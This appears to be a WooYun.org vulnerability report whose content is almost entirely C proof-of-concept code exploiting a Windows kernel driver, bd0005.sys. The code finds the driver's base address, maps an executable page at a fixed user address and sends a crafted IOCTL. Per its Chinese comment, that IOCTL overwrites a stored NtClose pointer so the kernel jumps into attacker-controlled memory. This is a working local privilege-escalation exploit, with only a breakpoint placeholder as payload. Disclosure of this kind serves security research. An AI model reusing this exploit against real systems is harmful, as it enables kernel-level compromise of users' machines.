WooYun.org

DWORD GetDriverBase(CHAR* pName)
{
	typedef struct _SYSTEM_MODULE_INFORMATION {
		ULONG Reserved [2]; 
		PVOID Base; 
		ULONG Size; 
		ULONG Flags; 
		USHORT Index; 
		USHORT Unknown; 
		USHORT LoadCount; 
		USHORT ModuleNameOffset; 
		CHAR ImageName [256 ]; 
	} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; 
	typedef LONG (WINAPI* FN_ZwQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG);
	FN_ZwQuerySystemInformation fn = 
		(FN_ZwQuerySystemInformation)GetProcAddress(GetModuleHandle(_T("ntdll")), "ZwQuerySystemInformation");
	if(!fn)
		return 0;
	DWORD dwBase = 0;
	CHAR* pBuffer = new CHAR[0x10000];
	memset(pBuffer, 0, 0x10000);
	ULONG cb = 0;
	LONG l = (*fn)(11, pBuffer, 0x10000, &cb);
	if(0 == l)
	{
		ULONG count = *((ULONG*)pBuffer);
		PSYSTEM_MODULE_INFORMATION pInfo = (PSYSTEM_MODULE_INFORMATION)(pBuffer + sizeof(ULONG));
		for (ULONG i = 0; i < count; ++i)
		{
			if('\0' != pInfo[i].ImageName[0])
			{
				strlwr(pInfo[i].ImageName);
			
				if(pName && strstr(pInfo[i].ImageName, pName))
				{
					dwBase = (DWORD)pInfo[i].Base;
					break;
				}
			}
		}
	}
	delete pBuffer;
	return dwBase;
}
void NtAllocVirtualPage(HANDLE hProcess, DWORD dwAddr)
{
	typedef LONG (WINAPI*  NtAllocateVirtualMemory)(
		HANDLE ProcessHandle,
		PVOID *BaseAddress,
		ULONG_PTR ZeroBits,
		PSIZE_T RegionSize,
		ULONG AllocationType,
		ULONG Protect);
	NtAllocateVirtualMemory fnAllocate = 
		(NtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(_T("ntdll")), "NtAllocateVirtualMemory");
	if(fnAllocate)
	{
		PBYTE pBase = (PBYTE)dwAddr;
		SIZE_T len = 0x1000;
		LONG lSucceed = fnAllocate(hProcess, (PVOID*)&pBase, 0, &len, 0x3000, PAGE_EXECUTE_READWRITE);
	}
}
void CallDriver(HANDLE hDev)
{
	DWORD dwReturned = 0;
	DWORD driverBase = GetDriverBase("bd0005.sys");
	WCHAR* input = L"BDSANDBOX";
	NtAllocVirtualPage(GetCurrentProcess(), 0x425b2ea4);
	if(!IsBadWritePtr((LPVOID)0x425b2ea4, 8))
	{
		memcpy((LPVOID)0x425b2ea4, "\xcc\xcc\xcc", 3);
	}
	
	DeviceIoControl(hDev,
		0x1236000c,
		(LPVOID)input,
		0x12,
		
		// bd0005.sys偏移0x21fd0保存的是NtClose的地址(0x805b2ea4)，
		// 通过漏洞将其高字节改为0x42,重定向到我可控的0x425b2ea4地址
		(LPVOID)(driverBase + 0x21fd3),
		0,
		&dwReturned,
		NULL);
	
}
void FuzzDriver()
{
	LPCTSTR DevName = _T("\\\\.\\Bd0005Ctl");
	HANDLE hDev = CreateFile(DevName,
		GENERIC_READ|GENERIC_WRITE,
		FILE_SHARE_READ|FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL,
		NULL);
	if(INVALID_HANDLE_VALUE != hDev)
	{
		CallDriver(hDev);
		CloseHandle(hDev);
	}
}
int _tmain(int argc, _TCHAR* argv[])
{	
	FuzzDriver();	
	return 0;
}